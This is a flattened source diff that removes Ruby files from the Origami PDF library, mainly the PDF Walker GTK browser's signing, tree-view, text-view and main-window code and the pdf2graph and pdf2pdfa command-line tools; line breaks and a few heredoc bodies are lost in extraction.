UsageRights::Rights::FORM_EXPORT if @form_export.active? - rights << UsageRights::Rights::FORM_SUBMITSTANDALONE if @form_submit.active? - rights << UsageRights::Rights::FORM_SPAWNTEMPLATE if @form_spawntemplate.active? - rights << UsageRights::Rights::FORM_BARCODEPLAINTEXT if @form_barcode.active? - rights << UsageRights::Rights::FORM_ONLINE if @form_online.active? - - rights << UsageRights::Rights::SIGNATURE_MODIFY if @signature_modify.active? - - rights << UsageRights::Rights::EF_CREATE if @ef_create.active? - rights << UsageRights::Rights::EF_DELETE if @ef_delete.active? - rights << UsageRights::Rights::EF_MODIFY if @ef_modify.active? - rights << UsageRights::Rights::EF_IMPORT if @ef_import.active? - - begin - pdf.enable_usage_rights(*rights) - - set_page_title(@lastpage, "Usage Rights have been enabled") - @msg_status.text = "Usage Rights have been enabled for the current document.\n You should consider saving it now." - - @parent.reload - rescue Exception => e - puts e - puts e.backtrace - - set_page_title(@lastpage, "Usage Rights have not been enabled") - @msg_status.text = "An error occured during the signature process." - end - } - - show_all - - end - - private - - def create_intro_page - - intro = < e - puts e - puts e.backtrace - - set_page_title(@lastpage, "Document has not been signed") - @msg_status.text = "An error occured during the signature process." - end - } - - show_all - - end - - private - - def create_intro_page - - intro = < e - puts e.backtrace - error = MessageDialog.new(@parent, - Dialog::MODAL, - Gtk::MessageDialog::ERROR, - Gtk::MessageDialog::BUTTONS_CLOSE, - "Error loading file '#{File.basename(dialog.filename)}'") - error.run - error.destroy - - @pkey, @cert, @ca = nil, nil, [] - @p12filename.text = "" - set_page_complete(page, false) - - end - - end - - dialog.destroy - - end - - vbox = VBox.new(false, 5) - - hbox = HBox.new(false, 5) - vbox.pack_start(hbox, true, false, 10) - - @p12filename = Entry.new.set_editable(false).set_sensitive(false) - choosebtn = Button.new(Gtk::Stock::OPEN) - - choosebtn.signal_connect('clicked') { open_file_dialog(vbox) } - - hbox.pack_start(@p12filename, true, true, 5) - hbox.pack_start(choosebtn, false, false, 5) - - append_page(vbox) - set_page_title(vbox, "Import a PKCS12 container") - set_page_type(vbox, Assistant::PAGE_CONTENT) - - end - - def create_keypair_import_page - - def open_pkey_dialog(page) - - dialog = FileChooserDialog.new("Choose a private RSA key", - @parent, - FileChooser::ACTION_OPEN, - nil, - [Stock::CANCEL, Dialog::RESPONSE_CANCEL], - [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) - filter = FileFilter.new - filter.add_pattern("*.key") - filter.add_pattern("*.pem") - filter.add_pattern("*.der") - - dialog.set_filter(filter) - - if dialog.run == Dialog::RESPONSE_ACCEPT - - begin - @pkey = OpenSSL::PKey::RSA.new(File.open(dialog.filename, 'r').binmode.read) - - @pkeyfilename.set_text(dialog.filename) - if @cert then set_page_complete(page, true) end - - rescue Exception => e - puts e.backtrace - error = MessageDialog.new(@parent, - Dialog::MODAL, - Gtk::MessageDialog::ERROR, - Gtk::MessageDialog::BUTTONS_CLOSE, - "Error loading file '#{File.basename(dialog.filename)}'") - error.run - error.destroy - - @pkey = nil - @pkeyfilename.text = "" - set_page_complete(page, false) - - ensure - @ca = [] # Shall be added to the GUI - end - - end - - dialog.destroy - - end - - def open_cert_dialog(page) - - dialog = FileChooserDialog.new("Choose a private RSA key", - @parent, - FileChooser::ACTION_OPEN, - nil, - [Stock::CANCEL, Dialog::RESPONSE_CANCEL], - [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) - filter = FileFilter.new - filter.add_pattern("*.crt") - filter.add_pattern("*.cer") - filter.add_pattern("*.pem") - filter.add_pattern("*.der") - - dialog.set_filter(filter) - - if dialog.run == Dialog::RESPONSE_ACCEPT - - begin - @cert = OpenSSL::X509::Certificate.new(File.open(dialog.filename, 'r').binmode.read) - - @certfilename.set_text(dialog.filename) - if @pkey then set_page_complete(page, true) end - - rescue Exception => e - puts e.backtrace - error = MessageDialog.new(@parent, - Dialog::MODAL, - Gtk::MessageDialog::ERROR, - Gtk::MessageDialog::BUTTONS_CLOSE, - "Error loading file '#{File.basename(dialog.filename)}'") - error.run - error.destroy - - @cert = nil - @certfilename.text = "" - set_page_complete(page, false) - - ensure - @ca = [] # Shall be added to the GUI - end - - end - - dialog.destroy - - end - - labels = - [ - [ "Private RSA key:", @pkeyfilename = Entry.new, pkeychoosebtn = Button.new(Gtk::Stock::OPEN) ], - [ "Public certificate:", @certfilename = Entry.new, certchoosebtn = Button.new(Gtk::Stock::OPEN) ] - ] - - row = 0 - table = Table.new(2, 3) - labels.each do |lbl, entry, btn| - - entry.editable = entry.sensitive = false - - table.attach(Label.new(lbl).set_alignment(1,0), 0, 1, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - table.attach(entry, 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - table.attach(btn, 2, 3, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - - row = row.succ - end - - pkeychoosebtn.signal_connect('clicked') { open_pkey_dialog(table) } - certchoosebtn.signal_connect('clicked') { open_cert_dialog(table) } - - append_page(table) - set_page_title(table, "Import a public/private key pair") - set_page_type(table, Assistant::PAGE_CONTENT) - - end - - def create_signature_info_page - - vbox = VBox.new(false, 5) - - lbl = Label.new("Here are a few optional information you can add with your signature.") - vbox.pack_start(lbl, true, true, 0) - - labels = - [ - [ "Location:", @location = Entry.new ], - [ "Contact:", @email = Entry.new ], - [ "Reason:", @reason = Entry.new ] - ] - - row = 0 - table = Table.new(4, 3) - labels.each do |label| - - table.attach(Label.new(label[0]).set_alignment(1,0), 0, 1, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - table.attach(label[1], 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - - row = row.succ - end - - vbox.pack_start(table, true, true, 0) - - append_page(vbox) - set_page_title(vbox, "Fill in signature details") - set_page_type(vbox, Assistant::PAGE_CONFIRM) - set_page_complete(vbox, true) - - end - - def create_termination_page - - @lastpage = VBox.new(false, 5) - - @msg_status = Label.new - @lastpage.pack_start(@msg_status, true, true, 0) - - append_page(@lastpage) - set_page_title(@lastpage, "Document has not been signed") - set_page_type(@lastpage, Assistant::PAGE_SUMMARY) - - end - - end - - end - -end diff -Nru origami-1.2.7/bin/gui/textview.rb origami-1.2.7+really0.7.4/bin/gui/textview.rb --- origami-1.2.7/bin/gui/textview.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/textview.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,106 +0,0 @@ -=begin - -= File - textview.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -module PDFWalker - - class Walker < Window - - private - - def create_objectview - @objectview = ObjectView.new(self) - end - - class ObjectView < Notebook - - attr_reader :parent - attr_reader :pdfpanel, :valuepanel - - def initialize(parent) - - @parent = parent - - super() - - @pdfbuffer = TextBuffer.new - @pdfview = TextView.new(@pdfbuffer).set_editable(false).set_cursor_visible(false).set_left_margin(5) - - @pdfpanel = ScrolledWindow.new.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC) - @pdfpanel.add_with_viewport @pdfview - append_page(@pdfpanel, Label.new("PDF Code")) - - @pdfbuffer.create_tag("Object", - :weight => Pango::WEIGHT_BOLD, - #:foreground => "darkblue", - :family => "Courier", - :scale => Pango::AttrScale::LARGE - ) - - end - - def load(object) - - begin - self.clear - - pdftag = "Object" - - if object.is_a?(Stream) - stm = "#{object.no} #{object.generation} obj\n" - stm << object.dictionary.to_s - - #if object.rawdata.is_binary_data? - # stm << "stream\n[Binary data]\nendstream" - #else - # stm << "stream\n#{object.rawdata}endstream" - #end - - @pdfbuffer.set_text(stm) - - elsif not (object.is_a?(::Array) or object.is_a?(Array)) and - not object.is_a?(PDF) and not object.is_a?(Adobe::PPKLite) and - not object.is_a?(PDF::Revision) and not object.is_a?(Adobe::PPKLite::Revision) and - not object.is_a?(XRefToCompressedObj) - - @pdfbuffer.set_text(object.to_s) - end - - @pdfbuffer.apply_tag(pdftag, @pdfbuffer.start_iter, @pdfbuffer.end_iter) - - rescue Exception => e - @parent.error("An error occured while loading this object.\n#{e} (#{e.class})") - end - - end - - def clear - @pdfbuffer.set_text("") - end - - end - - end - -end diff -Nru origami-1.2.7/bin/gui/treeview.rb origami-1.2.7+really0.7.4/bin/gui/treeview.rb --- origami-1.2.7/bin/gui/treeview.rb 2013-04-09 10:36:53.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/treeview.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,415 +0,0 @@ -=begin - -= File - treeview.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -module PDFWalker - - class Walker < Window - - private - - def create_treeview - - @treeview = PDFTree.new(self).set_headers_visible(false) - - colcontent = Gtk::TreeViewColumn.new("Names", - Gtk::CellRendererText.new.set_foreground_set(true).set_background_set(true), - :text => PDFTree::TEXTCOL, - :weight => PDFTree::WEIGHTCOL, - :style => PDFTree::STYLECOL, - :foreground => PDFTree::FGCOL, - :background => PDFTree::BGCOL - ) - - @treeview.append_column(colcontent) - - end - - end - - class PDFTree < TreeView - - include Popable - - OBJCOL = 0 - TEXTCOL = 1 - WEIGHTCOL = 2 - STYLECOL = 3 - FGCOL = 4 - BGCOL = 5 - - @@appearance = Hash.new(:Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_NORMAL) - - attr_reader :parent - - def initialize(parent) - - @parent = parent - - reset_appearance - - @treestore = TreeStore.new(Object::Object, String, Pango::FontDescription::Weight, Pango::FontDescription::Style, String, String) - super(@treestore) - - signal_connect('cursor-changed') { - iter = selection.selected - if iter - obj = @treestore.get_value(iter, OBJCOL) - - if obj.is_a?(Stream) and iter.n_children == 1 - - # Processing with an XRef or Object Stream - if obj.is_a?(ObjectStream) - obj.each { |embeddedobj| - load_object(iter, embeddedobj) - } - - elsif obj.is_a?(XRefStream) - obj.each { |xref| - load_xrefstm(iter, xref) - } - end - end - - parent.hexview.load(obj) - parent.objectview.load(obj) - end - } - - signal_connect('row-activated') { |tree, path, column| - if selection.selected - obj = @treestore.get_value(selection.selected, OBJCOL) - - if row_expanded?(path) - collapse_row(path) - else - expand_row(path, false) - end - - goto(obj) if obj.is_a?(Origami::Reference) - end - } - - add_events(Gdk::Event::BUTTON_PRESS_MASK) - signal_connect('button_press_event') { |widget, event| - if event.button == 3 && parent.opened - path = get_path(event.x,event.y).first - set_cursor(path, nil, false) - - obj = @treestore.get_value(@treestore.get_iter(path), OBJCOL) - popup_menu(obj, event, path) - end - } - - end - - def clear - @treestore.clear - end - - def goto(obj) - - if obj.is_a?(TreePath) - set_cursor(obj, nil, false) - else - if obj.is_a?(Name) and obj.parent.is_a?(Dictionary) and obj.parent.has_key?(obj) - obj = obj.parent[obj] - elsif obj.is_a?(Reference) - obj = - begin - obj.solve - rescue InvalidReferenceError - @parent.error("Object not found : #{obj}") - return - end - end - - @treestore.each { |model, path, iter| - current_obj = @treestore.get_value(iter, OBJCOL) - - if current_obj.is_a?(ObjectStream) and obj.parent.equal?(current_obj) - current_obj.each { |embeddedobj| - load_object(iter, embeddedobj) - } - next - end - - if obj.equal?(current_obj) - expand_to_path(path) unless row_expanded?(path) - - if cursor.first then @parent.explorer_history << cursor.first end - set_cursor(path, nil, false) - - return - end - } - - @parent.error("Object not found : #{obj}") - end - - end - - def highlight(obj, color) - if obj.is_a?(Name) and obj.parent.is_a?(Dictionary) and obj.parent.has_key?(obj) - obj = obj.parent[obj] - end - - @treestore.each { |model, path, iter| - current_obj = @treestore.get_value(iter, OBJCOL) - - if obj.equal?(current_obj) - @treestore.set_value(iter, BGCOL, color) - expand_to_path(path) unless row_expanded?(path) - return - end - } - - @parent.error("Object not found : #{obj}") - end - - def load(pdf) - - if pdf - self.clear - - begin - # - # Create root entry - # - root = @treestore.append(nil) - @treestore.set_value(root, OBJCOL, pdf) - - set_node(root, :Filename, @parent.filename) - - # - # Create header entry - # - header = @treestore.append(root) - @treestore.set_value(header, OBJCOL, pdf.header) - - set_node(header, :Header, "Header (version #{pdf.header.majorversion}.#{pdf.header.minorversion})") - - no = 1 - pdf.revisions.each { |revision| - - load_revision(root, no, revision) - no = no + 1 - - } - - set_model(@treestore) - - ensure - expand(@treestore.iter_first, 3) - set_cursor(@treestore.iter_first.path, nil, false) - end - end - - end - - private - - def expand(row, depth) - - if row and depth != 0 - - loop do - expand_row(row.path, false) - expand(row.first_child, depth - 1) - - break if not row.next! - end - - end - - end - - def load_revision(root, no, revision) - - revroot = @treestore.append(root) - @treestore.set_value(revroot, OBJCOL, revision) - - set_node(revroot, :Revision, "Revision #{no}") - - load_body(revroot, revision.body.values) - - load_xrefs(revroot, revision.xreftable) - - load_trailer(revroot, revision.trailer) - - end - - def load_body(rev, body) - - bodyroot = @treestore.append(rev) - @treestore.set_value(bodyroot, OBJCOL, body) - - set_node(bodyroot, :Body, "Body") - - body.sort_by{|obj| obj.file_offset}.each { |object| - begin - load_object(bodyroot, object) - rescue Exception => e - msg = "#{e.class}: #{e.message}\n#{e.backtrace.join("\n")}" - - #@parent.error(msg) - next - end - } - - end - - def load_object(container, object, name = nil) - - obj = @treestore.append(container) - @treestore.set_value(obj, OBJCOL, object) - - type = object.native_type.to_s.split('::').last.to_sym - - if name.nil? - name = - case object - when Origami::String - '"' + object.to_utf8 + '"' - when Origami::Number, Name - object.value.to_s - else - object.type.to_s - end - end - - set_node(obj, type, name) - - if object.is_a? Origami::Array - object.each { |subobject| - load_object(obj, subobject) - } - elsif object.is_a? Origami::Dictionary - object.each_key { |subkey| - load_object(obj, object[subkey.value], subkey.value.to_s) - } - elsif object.is_a? Origami::Stream - load_object(obj, object.dictionary, "Stream Dictionary") - end - - end - - def load_xrefstm(stm, embxref) - - xref = @treestore.append(stm) - @treestore.set_value(xref, OBJCOL, embxref) - - if embxref.is_a?(XRef) - set_node(xref, :XRef, embxref.to_s.chomp) - else - set_node(xref, :XRef, "xref to ObjectStream #{embxref.objstmno}, object index #{embxref.index}") - end - - end - - def load_xrefs(rev, table) - - if table - - section = @treestore.append(rev) - @treestore.set_value(section, OBJCOL, table) - - set_node(section, :XRefSection, "XRef section") - - table.each { |subtable| - - subsection = @treestore.append(section) - @treestore.set_value(subsection, OBJCOL, subtable) - - set_node(subsection, :XRefSubSection, "#{subtable.range.begin} #{subtable.range.end - subtable.range.begin + 1}") - - subtable.each { |entry| - - xref = @treestore.append(subsection) - @treestore.set_value(xref, OBJCOL, entry) - - set_node(xref, :XRef, entry.to_s.chomp) - - } - - } - - end - - end - - def load_trailer(rev, trailer) - - trailerroot = @treestore.append(rev) - @treestore.set_value(trailerroot, OBJCOL, trailer) - - set_node(trailerroot, :Trailer, "Trailer") - - unless trailer.dictionary.nil? - load_object(trailerroot, trailer.dictionary) - end - - end - - def reset_appearance - - @@appearance[:Filename] = {:Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:Header] = {:Color => "darkgreen", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:Revision] = {:Color => "blue", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:Body] = {:Color => "purple", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:XRefSection] = {:Color => "purple", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:XRefSubSection] = {:Color => "brown", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:XRef] = {:Color => "gray20", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:Trailer] = {:Color => "purple", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:StartXref] = {:Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:String] = {:Color => "red", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_ITALIC} - @@appearance[:Name] = {:Color => "gray", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_ITALIC} - @@appearance[:Number] = {:Color => "orange", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_NORMAL} - @@appearance[:Dictionary] = {:Color => "brown", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:Stream] = {:Color => "darkcyan", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:StreamData] = {:Color => "darkcyan", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_OBLIQUE} - @@appearance[:Array] = {:Color => "darkgreen", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} - @@appearance[:Reference] = {:Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_OBLIQUE} - @@appearance[:Boolean] = {:Color => "deeppink", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_NORMAL} - - end - - def get_object_appearance(type) - @@appearance[type] - end - - def set_node(node, type, text) - - @treestore.set_value(node, TEXTCOL, text) - - app = get_object_appearance(type) - @treestore.set_value(node, WEIGHTCOL, app[:Weight]) - @treestore.set_value(node, STYLECOL, app[:Style]) - @treestore.set_value(node, FGCOL, app[:Color]) - - end - - end - -end diff -Nru origami-1.2.7/bin/gui/walker.rb origami-1.2.7+really0.7.4/bin/gui/walker.rb --- origami-1.2.7/bin/gui/walker.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/walker.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,282 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= File - walker.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -begin - require 'gtk2' -rescue LoadError - abort('Error: you need to install ruby-gtk2 to run this application') -end -include Gtk - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" - $: << ORIGAMIDIR - require 'origami' -end - -require 'gui/menu' -require 'gui/about' -require 'gui/file' -require 'gui/hexview' -require 'gui/treeview' -require 'gui/textview' -require 'gui/imgview' -require 'gui/config' -require 'gui/properties' -require 'gui/xrefs' -require 'gui/signing' - -module PDFWalker #:nodoc:all - - class Walker < Window - - attr_reader :treeview, :hexview, :objectview - attr_reader :explorer_history - attr_reader :config - attr_reader :filename - - def self.start(file = nil) - Gtk.init - Walker.new(file) - Gtk.main - end - - def initialize(target_file = nil) - super("PDF Walker") - - @config = Walker::Config.new - - @last_search_result = [] - @last_search = - { - :expr => "", - :regexp => false, - :type => :body - } - - @explorer_history = Array.new - - signal_connect('destroy') { - @config.save - Gtk.main_quit - } - - add_events(Gdk::Event::KEY_RELEASE_MASK) - signal_connect('key_release_event') { |w, event| - - if event.keyval == Gdk::Keyval::GDK_F1 then about - elsif event.keyval == Gdk::Keyval::GDK_Escape && @opened && ! @explorer_history.empty? - @treeview.goto(@explorer_history.pop) - end - - } - - create_menus - create_treeview - create_hexview - create_objectview - create_panels - create_statusbar - - @vbox = VBox.new - @vbox.pack_start(@menu, false, false) - @vbox.pack_start(@hpaned) - @vbox.pack_end(@statusbar, false, false) - - add @vbox - - set_default_size(self.screen.width * 0.5, self.screen.height * 0.5) - #maximize - show_all - - open(target_file) - end - - def error(msg) - - dialog = Gtk::MessageDialog.new(self, - Gtk::Dialog::DESTROY_WITH_PARENT, - Gtk::MessageDialog::ERROR, - Gtk::MessageDialog::BUTTONS_CLOSE, - msg) - dialog.run - dialog.destroy - - end - - def reload - @treeview.load(@opened) if @opened - end - - def search - dialog = Gtk::Dialog.new("Search...", - self, - Gtk::Dialog::MODAL | Gtk::Dialog::DESTROY_WITH_PARENT, - [Gtk::Stock::FIND, Gtk::Dialog::RESPONSE_OK], - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL] - ) - - entry = Gtk::Entry.new - entry.signal_connect('activate') { dialog.response(Gtk::Dialog::RESPONSE_OK) } - entry.text = @last_search[:expr] - - button_bydata = Gtk::RadioButton.new("In object body") - button_byname = Gtk::RadioButton.new(button_bydata, "In object name") - button_regexp = Gtk::CheckButton.new("Regular expression") - - button_bydata.set_active(true) if @last_search[:type] == :body - button_byname.set_active(true) if @last_search[:type] == :name - button_regexp.set_active(@last_search[:regexp]) - - hbox = HBox.new - hbox.pack_start Gtk::Label.new("Search for expression ") - hbox.pack_start entry - - dialog.vbox.pack_start(hbox) - dialog.vbox.pack_start(button_bydata) - dialog.vbox.pack_start(button_byname) - dialog.vbox.pack_end(button_regexp) - - dialog.signal_connect('response') do |dlg, response| - if response == Gtk::Dialog::RESPONSE_OK - search = - { - :expr => entry.text, - :regexp => button_regexp.active?, - :type => button_byname.active? ? :name : :body - } - - if search == @last_search - @last_search_result.push @last_search_result.shift - results = @last_search_result - else - expr = search[:regexp] ? Regexp.new(search[:expr]) : search[:expr] - - results = - if search[:type] == :body - @opened.grep(expr) - else - @opened.ls(expr) - end - @last_search = search - end - - if results.empty? - error("No result found.") - else - if results != @last_search_result - @last_search_result.each do |obj| @treeview.highlight(obj, nil) end - results.each do |obj| @treeview.highlight(obj, "lightpink") end - - @last_search_result = results - end - - @treeview.goto(results.first) - end - else - dialog.destroy - end - end - - dialog.show_all - end - - def goto_catalog - @treeview.goto(@opened.Catalog.reference) - end - - def goto_object - dialog = Gtk::Dialog.new("Jump to object...", - self, - Gtk::Dialog::MODAL | Gtk::Dialog::DESTROY_WITH_PARENT, - [Gtk::Stock::OK, Gtk::Dialog::RESPONSE_OK], - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL] - ) - - entry = Gtk::Entry.new - entry.signal_connect('activate') { dialog.response(Gtk::Dialog::RESPONSE_OK) } - - dialog.vbox.pack_start Gtk::Label.new("Object number: ") - dialog.vbox.pack_start entry - dialog.show_all - - no = 0 - dialog.run do |response| - if response == Gtk::Dialog::RESPONSE_OK - no = entry.text.to_i - end - - dialog.destroy - end - - if no > 0 - obj = @opened[no] - - if obj.nil? - error("Object #{no} not found.") - else - @treeview.goto(obj) - end - end - end - - private - - def create_panels - - @hpaned = HPaned.new - - @treepanel = ScrolledWindow.new.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC) - @treepanel.add @treeview - - @vpaned = VPaned.new - @vpaned.pack1(@objectview, true, false) - @vpaned.pack2(@hexview, true, false) - - @hpaned.pack1(@treepanel, true, false) - @hpaned.pack2(@vpaned, true, false) - - end - - def create_statusbar - - @statusbar = Statusbar.new - - @main_context = @statusbar.get_context_id 'Main' - @statusbar.push(@main_context, 'No file selected') - - end - - end - -end - -if __FILE__ == $0 - PDFWalker::Walker.start -end diff -Nru origami-1.2.7/bin/gui/xrefs.rb origami-1.2.7+really0.7.4/bin/gui/xrefs.rb --- origami-1.2.7/bin/gui/xrefs.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/xrefs.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,79 +0,0 @@ -=begin - -= File - xrefs.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -require 'origami' -include Origami - -module PDFWalker - - class Walker < Window - - def show_xrefs(target) - XrefsDialog.new(self, target) - end - - end - - class XrefsDialog < Dialog - - OBJCOL = 0 - TEXTCOL = 1 - - def initialize(parent, target) - - super("Xrefs to #{target.reference}", parent, Dialog::MODAL, [Stock::CLOSE, Dialog::RESPONSE_NONE]) - @parent = parent - - @list = ListStore.new(Object, String) - @view = TreeView.new(@list) - - column = Gtk::TreeViewColumn.new("Objects", Gtk::CellRendererText.new, :text => TEXTCOL) - @view.append_column(column) - - target.xrefs.each { |obj| - str = obj.class.to_s - iter = @list.append - @list.set_value(iter, OBJCOL, obj) - @list.set_value(iter, TEXTCOL, str) - } - - @view.signal_connect("row_activated") { |tree, path, column| - if @view.selection.selected - from = @list.get_value(@view.selection.selected, OBJCOL) - @parent.treeview.goto(from) - end - } - - scroll = ScrolledWindow.new.set_policy(POLICY_NEVER, POLICY_AUTOMATIC) - scroll.add(@view) - vbox.add(scroll) - - signal_connect('response') { destroy } - show_all - end - - end - -end diff -Nru origami-1.2.7/bin/pdf2graph origami-1.2.7+really0.7.4/bin/pdf2graph --- origami-1.2.7/bin/pdf2graph 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdf2graph 1970-01-01 00:00:00.000000000 +0000 @@ -1,121 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Generates a Graphviz DOT or GraphML file out of a PDF document. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser - BANNER = < [-f ] [-o ] -Generates a Graphviz DOT file out of a PDF document. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-o", "--output FILE", "Output PDF file") do |o| - options[:output] = o - end - - opts.on("-f", "--format FORMAT", "File format for the generated graph, dot or graphml (Default: dot).") do |f| - options[:format] = f - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :format => 'DOT' - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - if ARGV.empty? - STDERR.puts "Error: No filename was specified. #{$0} --help for details." - exit 1 - else - target = ARGV.shift - end - - unless ['DOT', 'GRAPHML'].include? @options[:format].upcase - STDERR.puts "Error: Invalid format `#{format}'. #{0} --help for details." - end - - if @options[:outfile].nil? - @options[:outfile] = File.basename(target, '.pdf') + - case @options[:format].upcase - when 'DOT' then - '.dot' - when 'GRAPHML' then - '.graphml' - end - end - - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - - pdf = PDF.read(target, params) - case @options[:format].upcase - when 'DOT' then - pdf.export_to_graph(@options[:outfile]) - - when 'GRAPHML' then - pdf.export_to_graphml(@options[:outfile]) - end - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdf2pdfa origami-1.2.7+really0.7.4/bin/pdf2pdfa --- origami-1.2.7/bin/pdf2pdfa 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdf2pdfa 1970-01-01 00:00:00.000000000 +0000 @@ -1,91 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Enforces a document to be rendered as PDF/A. - This will disable multimedia features and JavaScript execution in Adobe Reader. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser 